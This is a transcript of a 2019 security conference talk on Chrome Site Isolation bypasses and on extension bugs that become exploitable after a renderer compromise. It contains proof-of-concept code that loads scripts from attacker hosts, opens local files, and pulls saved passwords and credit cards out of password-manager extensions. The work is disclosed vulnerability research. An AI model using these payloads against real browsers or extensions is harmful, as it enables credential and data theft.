

The world of Site Isolation and compromised renderer

The world of Site Isolation and compromised renderer - Jun Kokatsu, Speaker Deck.

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The world of Site Isolation and compromised renderer - Speaker Deck

The world of Site Isolation and compromised renderer

This talk was presented at bugSWAT. Video of the talk is at https://youtu.be/ppW_soCb6wM

Talk features: Site Isolation bypasses <https://crbug.com/915398>, CVE-2019-13682, CVE-2019-13692 Chrome Extension bugs with renderer process compromise <https://crbug.com/982326>, <https://crbug.com/1016535>, <https://hackerone.com/reports/682596> CSP bypass in Chrome CVE-2019-13704

[[image: Avatar for Jun Kokatsu](#)]

Jun Kokatsu

November 01, 2019

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Transcript

The world of Site Isolation and compromised renderer Jun Kokatsu

Changes from last year • Microsoft Edge moves to Chromium-based

browser All bounty goes to charity Donated \$51k so far.

Changes from last year • Microsoft Edge moves to Chromium-based

browser All bounty goes to charity Donated \$51k so far. • Bug hunter rank went up from 124 to 35
Still pretty bad at finding web bugs in Google

Agenda • What is a compromised renderer process and why

it matters • Site Isolation recap • Some Site Isolation bypasses • Bypassing Site Isolation without Site Isolation Bypass • Real world examples

What is a compromised renderer process? • Attacker can use

bugs in JS engine, CSS engine, image parser, video parser, etc, to compromise a renderer process
<https://www.chromium.org/developers/design-documents/site-isolation>

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Once a renderer process is compromised, it could do anything within the renderer process (e.g.
read any data coming into a renderer process, change IPC messages that will be sent from the
renderer process, etc) <https://www.chromium.org/developers/design-documents/site-isolation>

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Once a renderer process is compromised, it could do anything within the renderer process (e.g.
read any data coming into a renderer process, change IPC messages that will be sent from the
renderer process, etc) • Without Site Isolation, a renderer process compromise == UXSS
<https://www.chromium.org/developers/design-documents/site-isolation>

Why does it matter? Q: It's browser bugs, and should

be fixed by the browser. So why should we care?

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be fixed by the browser. So why should we care? • There are average of 10+ bugs in each release of Chrome, that could potentially be used to compromise a renderer process*1 • There is also Patch-gapping issue. So attacker doesn't even need to find a bug. E.g. people had a full renderer exploit for 15+ days before patch was released to the stable*2 *1:

<https://www.chromium.org/Home/chromium-security/site-isolation#TOC-Motivation> *2:

<https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/>

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be fixed by the browser. So why should we care? • There are average of 10+ bugs in each release of Chrome, that could potentially be used to compromise a renderer process*1 • There is also Patch-gapping issue. So attacker doesn't even need to find a bug. E.g. people had a full renderer exploit for 15+ days before patch was released to the stable*2 We should assume that attackers have the capability to compromise a renderer process *1:

<https://www.chromium.org/Home/chromium-security/site-isolation#TOC-Motivation> *2:

<https://blog.exodusintel.com/2019/09/09/patch-gapping-chrome/>

Site Isolation Recap Site Isolation: Isolates process per "Site" =

Scheme + eTLD+1 <https://www.example.com:443>

Site Isolation Recap Site Isolation: Isolates process per "Site" =

Scheme + eTLD+1 <https://www.example.com:443> Cross-Origin Read Blocking: Prevents a process from accessing sensitive cross-site files without CORS satisfaction (MIME type based blacklist such as HTML, XML, JSON, PDF, ZIP, etc)

Site Isolation caveats • Data URL inherits process from navigation

initiator <!-- https://www.google.com --> <iframe src="data:text/html,I live in the same process as Google">

-

Site Isolation caveats • Data URL inherits process from navigation

initiator <!-- https://www.google.com --> <iframe src="data:text/html,I live in the same process as Google"> • File: URL shares process across whole scheme, and there is no CORB in File: URL either. A renderer process compromise of File URL means, attacker can steal any local files that the browser has access to.

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Site Isolation caveats • Data URL inherits process from navigation

initiator <!-- https://www.google.com --> <iframe src="data:text/html,I live in the same process as Google"> • File: URL shares process across whole scheme, and there is no CORB in File: URL either. A renderer process compromise of File URL means, attacker can steal any local files that the browser has access to. Chrome is trying to address these issues, but it'll take sometime.

<https://bugs.chromium.org/p/chromium/issues/detail?id=510122>

<https://bugs.chromium.org/p/chromium/issues/detail?id=935045>

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Finding Site Isolation bypass I made a WinDbg script that

can spoof renderer process' origin and URL <https://github.com/shhnjk/spoof.js>

-

I spoofed origin and URL, and then tried randomly calling

JS APIs to see if anything goes wrong

-

I spoofed origin and URL, and then tried randomly calling

JS APIs to see if anything goes wrong Then I noticed, I can send/receive message with spoofed origin across site

-

Stealing PDF content with postMessage Abusing this bug, I could

steal any PDF content in Chrome with messages <embed src="https://www.apple.com/mac/docs/Apples_T2_Security_Chip_Overview.pdf" type="application/pdf"> <script> window.onmessage = e => { if (e.data && e.data.type === 'getSelectedTextReply') { alert(e.data.selectedText); } }; function go(){ var embed =

```
document.querySelector('embed'); embed.postMessage({type: 'selectAll'});  
embed.postMessage({type: 'getSelectedText'}); } </script>
```

-

Stealing PDF content with postMessage Abusing this bug, I could

steal any PDF content in Chrome with messages <embed
src="https://www.apple.com/mac/docs/Apple_T2_Security_Chip_Overview.pdf"
type="application/pdf"> <script> window.onmessage = e => { if (e.data && e.data.type ===
'getSelectedTextReply') { alert(e.data.selectedText); } }; function go(){ var embed =
document.querySelector('embed'); embed.postMessage({type: 'selectAll'});
embed.postMessage({type: 'getSelectedText'}); } </script> \$3000

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Site Isolation bypass 2 Websites can create a protocol handler

for particular URL scheme navigator.registerProtocolHandler("mailto","http://same-origin.url/?
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[https://developer.mozilla.org/en-
US/docs/Web/API/Navigator/registerProtocolHandler#Permitted_schemes](https://developer.mozilla.org/en-US/docs/Web/API/Navigator/registerProtocolHandler#Permitted_schemes)

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was implemented inside a renderer process, and browser process only had blacklist check related to browser schemes. 2. Destination URL has to be same-origin to the registering window This check was also inside a renderer process, thus completely bypassable. 3. User has to accept the permission prompt Origin of permission prompt was calculated using destination URL, which could be anything with above bypass. It'll be blank if you pass a Data URL

-

But how this can be a Site Isolation bypass? 1.

After renderer process is compromised, register any scheme (e.g. mailto) with following destination URL `data:text/html,<script>import('https://attacker.tld/renderer_exploit.js')</script>`

-

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Site Isolation bypass 3 Reader mode chrome-distiller://9a898ff4-b0ad-45c6-8da2-bd8a6acce25d/?url=https://news.tld • Page content

from news.tld will be filtered, but images and videos are allowed

-

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from news.tld will be filtered, but images and videos are allowed • GUID changes for each reader mode page Site Isolation assumption Ability to load an untrusted image in the target page is enough to compromise the renderer process

-

What can you do with compromised Reader mode 1. Open

new window with victim's site (Reader mode will cache the page) You can do this using native code (C++) or JS CSP can be bypassed because it's enforced inside the renderer process, which you've already compromised `chrome-distiller://[GUID]?url=https://attacker.tld victim = "https://victim.tld"` `window.open(victim, "w") https://victim.tld Super Secret Data!!!`

-

What can you do with compromised Reader mode 2. Navigate

victim window to Reader mode using same GUID Turns out you can reuse GUID even if you change the url param chrome-distiller://[GUID]?url=https://attacker.tld w = window.open(origin + "?url=" + victim,"w") chrome-distiller://[GUID]?url=https://victim.tld Super Secret Data!!!

-

What can you do with compromised Reader mode 3. Now

it's same-origin! Steal the secret chrome-distiller://[GUID]?url=https://attacker.tld
alert(w.document.body.innerHTML) chrome-distiller://[GUID]?url=https://victim.tld Super Secret Data!!!

-

What can you do with compromised Reader mode 3. Now

it's same-origin! Steal the secret \$5000 chrome-distiller://[GUID]?url=https://attacker.tld
alert(w.document.body.innerHTML) chrome-distiller://[GUID]?url=https://victim.tld Super Secret Data!!!

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Site Isolation bypass is difficult • Reader mode and protocol

handler bugs required user interaction

-

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Site Isolation bypass is difficult • Reader mode and protocol

handler bugs required user interaction • Message and protocol handler bugs wouldn't work on every website I need: • More nightmare scenarios like UXSS • More low hanging fruits Let's think this way: Which processes are allowed to access cross-site data by design?

-

Processes that have access to cross-site data 1. Browser process

1. Network process 3. GPU process 4. Devtools process 5. Flash process (CORB disabled) 6. Extension process

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Processes that have access to cross-site data 1. Browser process

1. Network process 3. GPU process 4. Devtools process 5. Flash process (CORB disabled) 6. Extension process 1, 2, and 3 sounds difficult 4 and 5 requires user interaction to create a process in the first place 6 seems like the only option left...

Chrome Extension 101 Usually, an extension has 2 scripts 1.

Background script (this is executed inside an extension process) 2. Content script (this is injected into renderer processes) <https://news.tld> Content script in an Isolated World chrome-extension://foo Background script

Chrome Extension 101 Content script and Background script has communication

channels chrome.runtime.sendMessage -> chrome.runtime.onMessage.addListener
chrome.extension.sendMessage -> chrome.extension.onMessage.addListener
chrome.extension.sendRequest -> chrome.extension.onRequest.addListener port =
chrome.runtime.connect({name: "foo"}) port.postMessage -> port.onMessage.addListener
chrome.storage.local.set -> chrome.storage.local.get etc...

Smell of low hanging fruits Extension developers don't probably know:

- What renderer process compromise is in the first place

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Smell of low hanging fruits Extension developers don't probably know:

- What renderer process compromise is in the first place • Site Isolation's threat model assumes renderer process is compromised • Content script can be fully compromised, thus messages are untrusted Let's check extensions from Google

<https://chrome.google.com/webstore/category/ext/15-by-google>

-

ChromeVox Classic Extension Screen reader extension made by Chrome team

This extension is whitelisted by Chrome to execute content script in semi-privileged pages such as Chrome Web Store, New Tab Page, and DevTools

-

ChromeVox Classic Extension Background script has message listener where it

```
allowed setting preferences. var target = msg['target']; var action = msg['action']; switch (target) ...
case 'Prefs': if (action == 'getPrefs') { this.prefs.sendPrefsToPort(port); } else if (action == 'setPref') {
var pref = (msg['pref']); var announce = !!msg['announce'];
cvox.ChromeVoxBackground.setPref(pref, msg['value'], announce); } break;
```

-

Bug 1 ChromeVox has preference called "siteSpecificScriptLoader", which would load

JS file set in this preference to all tabs

-

Bug 1 ChromeVox has preference called "siteSpecificScriptLoader", which would load

JS file set in this preference to all tabs So the UXSS was: 1. Compromise renderer process 2. Run following script in the context of Content script

```
cvox.ChromeVox.host.sendToBackgroundPage({'target': 'Prefs', 'action': 'setPref', 'pref': 'siteSpecificScriptLoader', 'value': 'https://attacker.tld/bad.js', 'announce': true})
```

ChromeVox Classic Extension Found another message listener that's suspicious chrome.extension.onMessage.addListener(function(request,

```
sender, callback) { if (request['srcFile']) { var srcFile = request['srcFile'];  
cvox.InjectedScriptLoader.fetchCode([srcFile], function(code) { callback({ 'code': code[srcFile] }); }); }  
return true; });
```

What does fetchCode do?

cvox.InjectedScriptLoader.fetchCode = function(files, done) { var code = {}; var

```
waiting = files.length; var loadScriptAsCode = function(src) { var xhr = new XMLHttpRequest(); var  
url = chrome.extension.getURL(src) + '?' + new Date().getTime(); xhr.onreadystatechange =  
function() { if (xhr.readyState == 4) { var scriptText = xhr.responseText; ... code[src] = scriptText;  
waiting--; if (waiting == 0) { done(code); } } }; xhr.open('GET', url); xhr.send(null); };  
files.forEach(function(f) { loadScriptAsCode(f); }); }
```

Weird behavior of chrome.extension.getURL chrome.extension.getURL and chrome.runtime.getURL are used to

change relative URL to full URL based on extension's URL // e.g. chrome-extension://foo/
chrome.runtime.getURL("/bar.js"); // chrome-extension://foo/bar.js

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change relative URL to full URL based on extension's URL // e.g. chrome-extension://foo/
chrome.runtime.getURL("/bar.js"); // chrome-extension://foo/bar.js But if we provide any fully-qualified URL to chrome.extension.getURL, it'll return as is
chrome.runtime.getURL("https://test.tld"); // chrome-extension://foo/https://test.tld
chrome.extension.getURL("https://test.tld"); // https://test.tld *This bug was fixed in Chrome 77
<https://bugs.chromium.org/p/chromium/issues/detail?id=984696>

Bug 2 With this weird behavior and the bug, we

can bypass CORS/CORB and fetch any website's content 1. Compromise renderer process 2. Run following script in the context of Content script

```
chrome.extension.sendMessage({srcFile:
```

```
'https://www.google.com'}, content => {alert(content)}});
```

-

ChromeVox Classic Extension Found yet another message listener that's suspicious

```
var target = msg['target']; var action = msg['action']; switch (target) ... case 'OpenTab': var destination = { url: msg['url'] }; chrome.tabs.create(destination); break;
```

-

ChromeVox Classic Extension Found yet another message listener that's suspicious

```
var target = msg['target']; var action = msg['action']; switch (target) ... case 'OpenTab': var destination = { url: msg['url'] }; chrome.tabs.create(destination); break; chrome.tabs.create can open any URL such as Chrome URL and File URL
```

-

Opening arbitrary File URL == Site Isolation bypass Download a

```
file Content-Disposition: attachment; filename="exploit.html"
```

-

Opening arbitrary File URL == Site Isolation bypass Download a

```
file Content-Disposition: attachment; filename="exploit.html" Use the bug to open File URL // send message {'target': 'OpenTab', 'url': 'file:///C:/Users/[username]/Downloads/exploit.html'}
```

-

Opening arbitrary File URL == Site Isolation bypass Download a

```
file Content-Disposition: attachment; filename="exploit.html" Use the bug to open File URL // send message {'target': 'OpenTab', 'url': 'file:///C:/Users/[username]/Downloads/exploit.html'} Compromise File URL process // file:///.../exploit.html exploit();
```

-

Opening arbitrary File URL == Site Isolation bypass Download a

```
file Content-Disposition: attachment; filename="exploit.html" Use the bug to open File URL // send message {'target': 'OpenTab', 'url': 'file:///C:/Users/[username]/Downloads/exploit.html'} Compromise File URL process // file:///.../exploit.html exploit(); Steal local file <iframe src="../AppData/Local/Google/Chrome/User%20Data/Default/">
```

-

Bug 3 Opening arbitrary URL 1. Compromise renderer process 2.

Run following script in the context of Content script

```
cvox.ChromeVox.host.sendToBackgroundPage({'target': 'OpenTab', 'url': 'chrome://settings/'})
```

-

Bug 4 ChromeVox leaked user's history to content script 1.

Compromise renderer process 2. Run following script in the context of Content script

```
cvox.ChromeVox.visitedUrls
```

-

Bug 4 ChromeVox leaked user's history to content script 1.

Compromise renderer process 2. Run following script in the context of Content script

cvox.ChromeVox.visitedUrls This doesn't even require renderer compromise since an attacker can read whole process's memory using Spectre-type attack Bug 1 + 2 + 3 + 4 = \$5000

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Let's see a video <https://youtu.be/lfSLAhEvm6Y>

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RSS Subscription Extension When it sees an RSS data, it'll

automatically navigate to extension page for RSS data preview RSS data example: `<?xml version="1.0" encoding="UTF-8" ?> <rss version="2.0"><item> <title>test</title> <description>test</description> </item></rss>`

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RSS Subscription Extension When it sees an RSS data, it'll

automatically navigate to extension page for RSS data preview RSS data example: `<?xml version="1.0" encoding="UTF-8" ?> <rss version="2.0"><item> <title>test</title> <description>test</description> </item></rss>` Extension code: `anchor.innerHTML = itemTitle; span.innerHTML = itemDesc;`

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'self' 2. RSS preview is loaded inside an iframe with Data URL • Data URL inherits the Site of navigation initiator • We can theoretically compromise extension process by CSS, image, audio, video, etc But, let's bypass CSP

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Demo? <https://youtu.be/6M6wjmb26sM>

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User-Agent Switcher for Chrome They had message listener in the

Background script chrome.extension.onRequest.addListener(function(request, sender, sendResponse) { ... else if (request.action == "add_ua") { addCustomUAOption(request.name, request.user_agent, request.append_to_default_ua, request.indicator); ... }

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Evil's in the Content Script Content script that was injected

to every site had following function var a = document.createElement("script"); a.type = "text/javascript"; a.innerHTML += "Object.defineProperty(window.navigator, 'userAgent', { get: function(){ return '' + (b.append_to_default_ua ? navigator.userAgent + ' ' + b.ua_string : b.ua_string) + ''; } });"; ... document.documentElement.insertBefore(a, document.documentElement.firstChild)

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Are only Google's extensions insecure? Okay, we've seen too many

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bugs Maybe Non-Google extensions are more secure and they are good Let's see popular extensions and extensions that have bug bounty Note 1: All following bugs require a renderer process compromise first Note 2: Only PoCs, not root cause analysis :)

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LastPass Steal any username and password LPVARS.g_port.onMessage.addListener((e, t, n) =>

```
{ if(e.cmd == "checkgenpwfillforms"){ console.log("Username: " + JSON.parse(e.sites)[0].unencryptedUsername); }else if(e.cmd == "fillfield"){ console.log("Password: " + e.value); }
receiveBG(e, t, n); }); chrome.extension.sendMessage({cmd: "fill", docid: 1, docflags:{ has_frameset:
false, in_cpwbob: false, is_special_site: null, need_dynamic_delay: null, tutorial_flags: null}, docnum:
0, docstate: "complete", force: 0, numpass: 1, source: "autofill", timestamp: 1566107005383,
topurl: "https://victim.tld/login.html", url: "https://victim.tld/login.html", username_val: ""}); $100
```

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Keeper security Steal all credit cards chrome.runtime.sendMessage({ params: {type: "GET"},

```
name: "allCardsAndAddresses" }, result => { result.cards.forEach(card => {
chrome.runtime.sendMessage({ params: {type:"GET", data: {id: card.uid}},name: "getDataById",
profit => {console.log(profit) }); }); }); Keeper Security is the best extension bug bounty program so
far (excluding Google) $1000
```

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Dashlane Steal all user names, passwords, and credit cards port

```
= chrome.runtime.connect({name: "leeloo"}); port.onMessage.addListener(m => { if(m.type ==
"response" && m.slotName == "getDataModel"){ console.log(m.data.credentials);
console.log(m.data.paymentCards); } }); port.postMessage({type: "request", id: 0, slotName:
"getDataModel", data: ""}); $200
```

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uBlock Origin // Read cross-site content vAPI.messaging.send(null, {what:'userSettings', name:"externalLists",value:"https://shhnjk.com/"}); vAPI.messaging.send("dashboard",

```
{what:'getLists'}); vAPI.messaging.send(null, {what:'getAssetContent',url: "https://shhnjk.com/"},  
e=>{console.log(e)});
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{what:'getLists'}); vAPI.messaging.send(null, {what:'getAssetContent',url: "https://shhnjk.com/"},  
e=>{console.log(e)}); // Open any URL vAPI.messaging.send(null, {what:'gotoURL',details:{url:  
"chrome://settings"}}, e=>{console.log(e)});
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"chrome://settings"}}, e=>{console.log(e)}); // UXSS vAPI.messaging.send("dashboard",  
{what:'writeHiddenSettings',content: "userResourcesLocation  
https://attack.shhnjk.com/resource_location.txt"},()=>{ vAPI.messaging.send("dashboard",  
{what:'writeUserFilters',content: "*##+js(alert.js)"},()=>{ vAPI.messaging.send(null,  
{what:'reloadAllFilters'}); }); }); https://github.com/uBlockOrigin/uBlock-issues/issues/710
```

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Adblock Most popular extension with 60+ million users (source: <https://getadblock.com/>)

```
// This function in Background script could be called indirectly from Content Script (fixed in  
Chrome 77) const readfile = function(file) { const xhr = new XMLHttpRequest(); xhr.open('GET',  
chrome.extension.getURL(file), false); xhr.send(); return xhr.responseText; };
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getadblock.com chrome.storage.local.set({"userid":""-alert(origin)-""}) https://youtu.be/s1gRiyU8yqA
```

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Extension needs more attention • With renderer compromise, you can

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Extension needs more attention • With renderer compromise, you can

call content script APIs. And sometimes you can compromise extension process too. Can we escape browser sandbox from there? • Does any widely used extension have web accessible JS file with Script Gadgets? That would mean complete bypass of CSP For extension developers: • Make sure that privileged messages are only called by extension pages

MessageSender.url.startsWith(chrome.runtime.getURL("/")) • Must read:

<https://groups.google.com/a/chromium.org/forum/#!msg/chromium-extensions/0ei-UCHNm34/IDaXwQhzBAAJ>

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Conclusion • Site Isolation is really great and it's getting

harder to bypass Report Site Isolation bypass and earn up to \$20k!!

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harder to bypass Report Site Isolation bypass and earn up to \$20k!! • If you install an extension, you are probably losing Site Isolation Next step: • We should move to Origin Isolation • Decide what to do about copy & paste Acknowledgement: • Thanks Google VRP! • Thanks Site Isolation

team (Nasko@, Creis@, Lukasz@, and others)! • Rob Wu for CRX Viewer
(<https://robwu.nl/crxviewer/>)

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Questions? CVE-2019-13714

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